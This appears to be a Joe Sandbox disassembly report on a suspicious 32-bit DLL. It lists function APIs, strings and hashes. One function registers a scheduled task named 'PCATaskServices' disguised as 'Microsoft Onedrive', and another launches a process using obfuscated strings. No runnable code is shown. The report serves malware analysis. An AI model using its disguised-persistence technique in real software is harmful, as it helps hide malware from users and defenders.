String ID: %s%s$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 861455210-3053068940
Opcode ID: 849225d2624ff1fcbfb769b65df20eb43f01b53e5362d9c6911dbae3b889e611
Instruction ID: 8b2cce811761a3b0ae0293af001adb6dda5805146fd3fb706382c418740a64f2
Opcode Fuzzy Hash: 849225d2624ff1fcbfb769b65df20eb43f01b53e5362d9c6911dbae3b889e611
Instruction Fuzzy Hash: E6515FB1408385AAC725DF60DC44DEBB7FCFF85208F41491EA9A587650DB35A60ECBA2

Function 6CDF2EF3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CDF2F3A
___scrt_uninitialize_crt.LIBCMT ref: 6CDF2F54

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 26d0c6b1ed7d015f48c3559dcff077247d3b9d3f0409c5009c3922b891adb4be
Instruction ID: 13b978d1b5449cba21717cfc14234ee8deeaf57e55d314901adf2f81ecbec747
Opcode Fuzzy Hash: 26d0c6b1ed7d015f48c3559dcff077247d3b9d3f0409c5009c3922b891adb4be
Instruction Fuzzy Hash: 5341E4B2E15654EBDB208F66CC04B9E7AB4FF8475CF134116E8345BB60D73089078BA1

Function 6CDF141E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125
sleepprocessCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB,?), ref: 6CDF1560
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6CE14454), ref: 6CDF1583

Strings

%s %s, xrefs: 6CDF1545
TDl, xrefs: 6CDF14C0
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB, xrefs: 6CDF14C5
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6CDF1448

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: CreateProcessSleep
String ID: %s %s$TDl$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB
API String ID: 3229676899-3317557193
Opcode ID: 478dc749a24c50df44ecbda8563248f8a9ba81afbeb5f1d3be66cde9e215a380
Instruction ID: 07f9d998f9d597b6f556a33fbd93179fc871f09c5f8173809abb938d9037710a
Opcode Fuzzy Hash: 478dc749a24c50df44ecbda8563248f8a9ba81afbeb5f1d3be66cde9e215a380
Instruction Fuzzy Hash: EF4180B1508384BFD720DB64CC84EEBBBECFF89248F41491DB69586650EB34991DC7A2

Function 6CDF2FA3 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6CDF2FE0
dllmain_crt_dispatch.LIBCMT ref: 6CDF2FF7
dllmain_raw.LIBCMT ref: 6CDF303F
dllmain_crt_dispatch.LIBCMT ref: 6CDF3052
dllmain_raw.LIBCMT ref: 6CDF3065

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c8a43bad49934fcb264cb8c1e18061eb8d75ac0962ba0dfd020b45c5d0194c24
Instruction ID: 7ef8648142c4f702bf3fbfdc3d79709bca4c5f14efa4f17dcaeafa7a92282e2e
Opcode Fuzzy Hash: c8a43bad49934fcb264cb8c1e18061eb8d75ac0962ba0dfd020b45c5d0194c24
Instruction Fuzzy Hash: 0A21A2B1901A55EADB214F56C848AAF3A79BB84B9CB174116F8345BB30D3318D038BA1

Function 6CDF2DEC Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CDF2E39

Part of subcall function 6CDF373E: mydllmain.UIFTTNKL2R(00000001,00000000,00000001,6CDF2E3E,6CE11F30,00000010,6CDF2DD4,?,?,?,6CDF2FFC,?,00000001,?,?,00000001), ref: 6CDF3757

Part of subcall function 6CDF3308: InitializeSListHead.KERNEL32(6CE13D50,6CDF2E43,6CE11F30,00000010,6CDF2DD4,?,?,?,6CDF2FFC,?,00000001,?,?,00000001,?,6CE11F78), ref: 6CDF330D

Part of subcall function 6CDFBDF3: mydllmain.UIFTTNKL2R(?,6CDFA99A,?,6CDFC09D,6CE0B190,6CE0B194,6CE121F8,00000014,6CDFBFD5,6CE12218,00000008,6CDFC15D,6CDF63F0,?,B583E81C,FAB51140), ref: 6CDFBE0A

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CDF2EA3
mydllmain.UIFTTNKL2R(?,00000002,00000001,6CE11F30,00000010,6CDF2DD4,?,?,?,6CDF2FFC,?,00000001,?,?,00000001,?), ref: 6CDF2EB9

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: mydllmain$Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 1337761313-0
Opcode ID: 4d1d27d5e60e659d5763814f1b62b003545c6b113b4780351b4065580f722e51
Instruction ID: fd8084bec6855278c5a31e117433fe806671f9bcc39c0c24c4d54046ad1bc58e
Opcode Fuzzy Hash: 4d1d27d5e60e659d5763814f1b62b003545c6b113b4780351b4065580f722e51
Instruction Fuzzy Hash: 35219232648285DADB10AFA488097DD37B0BB0632CF334519D4B167FE1CB62815AC6B2

Function 6CDFE038 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6CDFE084
GetFileType.KERNELBASE(00000000), ref: 6CDFE096

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 199ab6d615338126030a2d7612cf44bb45ea0061743041d8070b854fa626047e
Instruction ID: 8a1c82c4ead5c40fa6b2efe564475efae3102d2701df36daa81055fd9b7a0854
Opcode Fuzzy Hash: 199ab6d615338126030a2d7612cf44bb45ea0061743041d8070b854fa626047e
Instruction Fuzzy Hash: FD114F71604752CAD7304B3E8888612BAB5B747378B36072EE5B6C7DF1C631D5878685

Function 6CE02BC2 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mydllmain.UIFTTNKL2R(00000001,00000000,?,?,6CDFCA91,6CE0C018,6CE0C098,6CDF34A9,?,6CDF2DFF,00000000,6CE11F30,00000010,6CDF2DD4,?,?), ref: 6CE02BDC
mydllmain.UIFTTNKL2R(00000000,00000001,00000000,?,?,6CDFCA91,6CE0C018,6CE0C098,6CDF34A9,?,6CDF2DFF,00000000,6CE11F30,00000010,6CDF2DD4,?), ref: 6CE02C0C

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID:
API String ID: 979097349-0
Opcode ID: 99bbc9c6ab41ddd7df5890e24760d4460ddc039b2f32ff80c619709b86dcc19c
Instruction ID: 40736e12b38af0da6fbc335411863b2a5101544a3fa53fe23e2a9029e89fb745
Opcode Fuzzy Hash: 99bbc9c6ab41ddd7df5890e24760d4460ddc039b2f32ff80c619709b86dcc19c
Instruction Fuzzy Hash: 5301DB33B0121457DF109E1998CD19AB7F59FE126CB310529DC79A7B41CB31AC9586D0

Function 6CDFF70A Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,6CDFA99A,?,6CDFD4BC,00000001,00000364,00000007,000000FF,6CDFA99A,6CDFA99A,?,6CDF63BF,6CDFBC5B,F08BD84D), ref: 6CDFF74B

Part of subcall function 6CDFBD70: mydllmain.UIFTTNKL2R(?,00000001,?,6CDFF73D,00000001,?,6CDFD4BC,00000001,00000364,00000007,000000FF,6CDFA99A,6CDFA99A,?,6CDF63BF,6CDFBC5B), ref: 6CDFBD86

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: AllocateHeapmydllmain
String ID:
API String ID: 2479503475-0
Opcode ID: bfd5800c5a423075de42b64c972f9174cddec28a1c356965bd3fab79a8a93548
Instruction ID: 78e0622c574e678d65a2eb428d7066db5ff0d62a3163d17a202d487e3568b6ae
Opcode Fuzzy Hash: bfd5800c5a423075de42b64c972f9174cddec28a1c356965bd3fab79a8a93548
Instruction Fuzzy Hash: 94F0B431645628E6EB016BA69C40A9AB7E8BB41768B268015AC34E7DA0CB30D917C6E1

Function 6CDF1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6CDF1014

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8731eebefaf75133d75445b54be57ed9d2ca1ae2cb0e9188cbb7d4ec126d73d6
Instruction ID: 843ab81ce087ceb500f280a798c7b6aa4360eacd78d4853cd95031ee7ee6a3e7
Opcode Fuzzy Hash: 8731eebefaf75133d75445b54be57ed9d2ca1ae2cb0e9188cbb7d4ec126d73d6
Instruction Fuzzy Hash: EBB09231A95281D6C240A760844CB2AB6A4BF6234FF29C428E07980560CB2180AA9632

Non-executed Functions

Function 6CDF1C39 Relevance: 70.6, APIs: 18, Strings: 22, Instructions: 615comCOMMONLIBRARYCODE

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 6CDF1C76
CoCreateInstance.OLE32(6CE0B200,00000000,00000001,6CE0B1F0,?), ref: 6CDF1C8F
CoUninitialize.OLE32 ref: 6CDF1CA6
VariantInit.OLEAUT32(?), ref: 6CDF1CCD
VariantInit.OLEAUT32(?), ref: 6CDF1CE1
VariantInit.OLEAUT32(?), ref: 6CDF1CF5
VariantInit.OLEAUT32(?), ref: 6CDF1D09
VariantClear.OLEAUT32(?), ref: 6CDF1D58
VariantClear.OLEAUT32(?), ref: 6CDF1D5E
VariantClear.OLEAUT32(?), ref: 6CDF1D64
VariantClear.OLEAUT32(?), ref: 6CDF1D6E
CoUninitialize.OLE32(?,?,?,?,?,?,?,00000003,?,?,?,PCATaskServices), ref: 6CDF21E8

Strings

QueryInterface call failed for IExecAction: %x, xrefs: 6CDF2058
Cannot get Root Folder pointer: %x, xrefs: 6CDF1DCE
Cannot get trigger collection: %x, xrefs: 6CDF1EE3
Cannot put trigger ID: %x, xrefs: 6CDF1F81
Success! Task successfully registered. , xrefs: 6CDF21F0
Cannot create action: %x, xrefs: 6CDF202A
Failed to create an instance of ITaskService: %x, xrefs: 6CDF1C9A
PCATaskServices, xrefs: 6CDF2149
Cannot get settings pointer: %x, xrefs: 6CDF1E8B
Cannot put identification info: %x, xrefs: 6CDF1E6C
Failed to create a task definition: %x, xrefs: 6CDF1DF6
Cannot put setting info: %x, xrefs: 6CDF1EC4
Cannot put registration trigger delay: %x, xrefs: 6CDF1FE0
Error saving the Task : %x, xrefs: 6CDF21CA
Cannot get identification pointer: %x, xrefs: 6CDF1E1F
Trigger1, xrefs: 6CDF1F47
QueryInterface call failed on IRegistrationTrigger: %x, xrefs: 6CDF1F3D
Cannot get Task collection pointer: %x, xrefs: 6CDF1FFF
Cannot put the action executable path: %x, xrefs: 6CDF20E9
ITaskService::Connect failed: %x, xrefs: 6CDF1D75
Microsoft Onedrive, xrefs: 6CDF1E29
Cannot create a registration trigger: %x, xrefs: 6CDF1F0F

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: Variant$ClearInit$Uninitialize$CreateInitializeInstance
String ID: Success! Task successfully registered. $Cannot create a registration trigger: %x$Cannot create action: %x$Cannot get Task collection pointer: %x$Cannot get identification pointer: %x$Cannot get settings pointer: %x$Cannot get trigger collection: %x$Cannot put identification info: %x$Cannot put registration trigger delay: %x$Cannot put setting info: %x$Cannot put the action executable path: %x$Cannot put trigger ID: %x$Error saving the Task : %x$QueryInterface call failed for IExecAction: %x$QueryInterface call failed on IRegistrationTrigger: %x$Cannot get Root Folder pointer: %x$Failed to create a task definition: %x$Failed to create an instance of ITaskService: %x$ITaskService::Connect failed: %x$Microsoft Onedrive$PCATaskServices$Trigger1
API String ID: 3466238963-2259768170
Opcode ID: 3f67ee80d5479e7fecc40e33d3d1b890059a2aefb64ff10d8d46c55ccf953b69
Instruction ID: 0d9191b99529e7dfe2fa6a4fdbcba8fb98dce4d65967af7406b621bcf92443c3
Opcode Fuzzy Hash: 3f67ee80d5479e7fecc40e33d3d1b890059a2aefb64ff10d8d46c55ccf953b69
Instruction Fuzzy Hash: D0225C71A04159EFDB00DFA4C848DDF7BB9FF8A318B154649F815AB650DB31E906CBA0

Function 6CE041DB Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6CE043F2

Strings

1#IND, xrefs: 6CE042E0
1#INF, xrefs: 6CE04311
1#SNAN, xrefs: 6CE042E7
1#QNAN, xrefs: 6CE042EE

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3514c52e61dc72e32d345e26c9691340954344e1b5385096e598779c4e878252
Instruction ID: 52e00e08a45424be6a6b8ca759c16d6af246b1035f458b2f477e42193423fc67
Opcode Fuzzy Hash: 3514c52e61dc72e32d345e26c9691340954344e1b5385096e598779c4e878252
Instruction Fuzzy Hash: F5D25A71E092288FDB64CE28CD407DAB7B5FB55309F2441EAD40DE7640EB78AE958F81

Function 6CE03D30 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362ef1cc790e621639e128e73b9871dfcc67a5d3f97bb9d42cbb1d692720c59a
Instruction ID: 8f9114e3bcab13c2d5c7dbf33fd3d9098a92bd24c42997b547f7e8202b67d6a5
Opcode Fuzzy Hash: 362ef1cc790e621639e128e73b9871dfcc67a5d3f97bb9d42cbb1d692720c59a
Instruction Fuzzy Hash: 80026C71E012199BDB14CFA9C980ADEFBF1FF58318F24826AD519E7781D731A916CB80

Function 6CDF3621 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6CDF362D
IsDebuggerPresent.KERNEL32 ref: 6CDF36F9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CDF3712
UnhandledExceptionFilter.KERNEL32(?), ref: 6CDF371C

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1fc575a190d65336665f269fff2abba6c97669446670aae2d412a08b1bcab73d
Instruction ID: 7057dce7e64a2dea43bb51cd22aebe137a5eefc2aeba7e31e8cd9947e0e0ab53
Opcode Fuzzy Hash: 1fc575a190d65336665f269fff2abba6c97669446670aae2d412a08b1bcab73d
Instruction Fuzzy Hash: 823127B5D05218DBDF20DFA4D9897CDBBB8BF08304F1141AAE41CAB250EB719A858F45

Function 6CDFBADE Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 6CDFBBD6
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 6CDFBBE0
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 6CDFBBED

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d09a2f3d1d764d5623a45356df48aea357cbee013d4d4335dcae13ae02dd87bc
Instruction ID: 494d3dcebca5c87b11b1324d77477c5359f36c3f41ef6825c222fa01251a05a3
Opcode Fuzzy Hash: d09a2f3d1d764d5623a45356df48aea357cbee013d4d4335dcae13ae02dd87bc
Instruction Fuzzy Hash: 7631A67590121CEBCB21DF64D988BCDBBB4BF08314F5141DAE41CA72A0EB749B858F55

Function 6CE09919 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000001,?,00000008,?,?,6CE09914,00000001,?,00000008,?,?,6CE09517,00000000), ref: 6CE09B46

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ab7bb21cdba639fe2befd461e11f15a7816e3e8401b132d0c56956904dfd8b77
Instruction ID: 77dc1db37ba542f1be72cd503d078962af01de7894e3bed60913ecbe19f639fa
Opcode Fuzzy Hash: ab7bb21cdba639fe2befd461e11f15a7816e3e8401b132d0c56956904dfd8b77
Instruction Fuzzy Hash: 82B137316216099FD705CF28C486B557BF0FF45368F358658E8A9CF6A1C335E9A2CB84

Function 6CDF381B Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CDF3831

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 19e1a1176865ef58d2905729bd23296a0e21bb58317054d39adb699e70b50687
Instruction ID: 3caccfe36613687c54292cc3b4dec957dbcc7522240f2425cac68644bc2f7f3c
Opcode Fuzzy Hash: 19e1a1176865ef58d2905729bd23296a0e21bb58317054d39adb699e70b50687
Instruction Fuzzy Hash: 8B51C0B1A15609DFEB04CF95D48279EBBF0FB85304F22816AC421EBA90D375E991CF51

Function 6CE02BA7 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6CE02BA7

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
